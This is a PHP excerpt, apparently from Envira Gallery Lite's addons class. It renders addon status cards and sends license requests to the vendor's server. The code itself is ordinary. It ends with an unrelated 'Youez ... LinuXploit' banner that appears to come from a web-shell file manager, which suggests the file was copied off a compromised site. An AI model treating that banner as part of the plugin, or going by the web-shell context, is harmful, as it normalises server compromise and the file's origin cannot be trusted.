		$sort_order   = isset( $addon->sort_order ) && false !== $addon->sort_order ? intval( $addon->sort_order ) : 0;
		$most_popular = isset( $addon->most_popular ) && false !== $addon->most_popular ? true : false;

		// Output the card.
		?>
		<div class="envira-addon" data-addon-title="<?php echo esc_html( $addon->title ); ?>" data-sort-order="<?php echo esc_attr( $sort_order ); ?>">
			<?php if ( $most_popular ) { ?>
				<div class="addon-tag">Most Popular</div>
			<?php } ?>
			<h3 class="envira-addon-title"><?php echo esc_html( $addon->title ); ?></h3>
			<?php
			if ( ! empty( $addon->image ) ) {
				?>
				<img class="envira-addon-thumb" src="<?php echo esc_url( $addon->image ); ?>" alt="<?php echo esc_attr( $addon->title ); ?>" />
				<?php
			}
			?>

			<p class="envira-addon-excerpt"><?php echo esc_html( $addon->excerpt ); ?></p>

			<?php
			// If the Addon is unlicensed, show the upgrade button.
			if ( ! $is_licensed ) {
				?>
				<div class="envira-addon-active envira-addon-message">
					<div class="interior">
						<div class="envira-addon-upgrade">
							<a href="<?php echo esc_url( $addon->upgrade_url ); ?>" target="_blank" class="button envira-button-dark envira-addon-upgrade-button"  rel="<?php echo esc_attr( $plugin_basename ); ?>">
								<?php esc_html_e( 'Upgrade Now', 'envira-gallery-lite' ); ?>
							</a>
							<span class="spinner envira-gallery-spinner"></span>
						</div>
					</div>
				</div>
				<?php
				// Addon is licensed.
				// If the plugin is not installed, display an install message and button.
			} elseif ( ! isset( $installed_plugins[ $plugin_basename ] ) ) {
				?>
				<div class="envira-addon-not-installed envira-addon-message">
					<div class="interior">
						<span class="addon-status"><?php esc_html_e( 'Status:', 'envira-gallery-lite' ); ?>&nbsp;<span><?php esc_html_e( 'Not Installed', 'envira-gallery-lite' ); ?></span></span>
						<div class="envira-addon-action">
							<a class="button envira-button-dark envira-addon-action-button envira-install-addon" href="#" rel="<?php echo esc_url( $addon->url ); ?>">
								<i class="envira-cloud-download"></i>
								<?php esc_html_e( 'Install', 'envira-gallery-lite' ); ?>
							</a>
							<span class="spinner envira-gallery-spinner"></span>
						</div>
					</div>
				</div>
				<?php
				// Plugin is installed.
			} elseif ( is_plugin_active( $plugin_basename ) ) {
				// Plugin is active. Display the active message and deactivate button.
				?>
				<div class="envira-addon-active envira-addon-message">
					<div class="interior">
						<span class="addon-status"><?php esc_html_e( 'Status:', 'envira-gallery-lite' ); ?>&nbsp;<span><?php esc_html_e( 'Active', 'envira-gallery-lite' ); ?></span></span>
						<div class="envira-addon-action">
							<a class="button envira-button-dark envira-addon-action-button envira-deactivate-addon" href="#" rel="<?php echo esc_attr( $plugin_basename ); ?>">
								<i class="envira-toggle-on"></i>
								<?php esc_html_e( 'Deactivate', 'envira-gallery-lite' ); ?>
							</a>
							<span class="spinner envira-gallery-spinner"></span>
						</div>
					</div>
				</div>
				<?php
			} else {
				// Plugin is inactivate. Display the inactivate mesage and activate button.
				?>
				<div class="envira-addon-inactive envira-addon-message">
					<div class="interior">
						<span class="addon-status"><?php esc_html_e( 'Status:', 'envira-gallery-lite' ); ?>&nbsp;<span><?php esc_html_e( 'Inactive', 'envira-gallery-lite' ); ?></span></span>
						<div class="envira-addon-action">
							<a class="button envira-button-dark envira-addon-action-button envira-activate-addon" href="#" rel="<?php echo esc_attr( $plugin_basename ); ?>">
								<i class="envira-toggle-on"></i>
								<?php esc_html_e( 'Activate', 'envira-gallery-lite' ); ?>
							</a>
							<span class="spinner envira-gallery-spinner"></span>
						</div>
					</div>
				</div>
				<?php
			}
			?>
		</div>
		<?php
	}
	/**
	 * Queries the remote URL via wp_remote_post and returns a json decoded response.
	 *
	 * @since 1.0.0
	 *
	 * @param string $action        The name of the $_POST action var.
	 * @param array  $body           The content to retrieve from the remote URL.
	 * @param array  $headers        The headers to send to the remote URL.
	 * @param string $return_format The format for returning content from the remote URL.
	 * @return string|bool          Json decoded response on success, false on failure.
	 */
	public function perform_remote_request( $action, $body = [], $headers = [], $return_format = 'json' ) {

		// Build the body of the request.
		$body = wp_parse_args(
			$body,
			[
				'tgm-updater-action'     => $action,
				'tgm-updater-key'        => $this->key,
				'tgm-updater-wp-version' => get_bloginfo( 'version' ),
				'tgm-updater-referer'    => site_url(),
			]
		);
		$body = http_build_query( $body, '', '&' );

		// Build the headers of the request.
		$headers = wp_parse_args(
			$headers,
			[
				'Content-Type'   => 'application/x-www-form-urlencoded',
				'Content-Length' => strlen( $body ),
			]
		);

		// Setup variable for wp_remote_post.
		$post = [
			'headers' => $headers,
			'body'    => $body,
		];

		// Perform the query and retrieve the response.
		$response      = wp_remote_post( 'https://enviragallery.com', $post );
		$response_code = wp_remote_retrieve_response_code( $response );
		$response_body = wp_remote_retrieve_body( $response );

		// Bail out early if there are any errors.
		if ( 200 !== $response_code || is_wp_error( $response_body ) ) {
			return false;
		}

		// Return the json decoded content.
		return json_decode( $response_body );
	}

	/**
	 * Returns the singleton instance of the class.
	 *
	 * @since 1.5.0
	 *
	 * @return object The Envira_Gallery_Addons object.
	 */
	public static function get_instance() {

		if ( ! isset( self::$instance ) && ! ( self::$instance instanceof Envira_Gallery_Addons ) ) {
			self::$instance = new Envira_Gallery_Addons();
		}

		return self::$instance;
	}
}

// Load the addons class.
$envira_gallery_addons = Envira_Gallery_Addons::get_instance();

Youez - 2016 - github.com/yon3zu
LinuXploit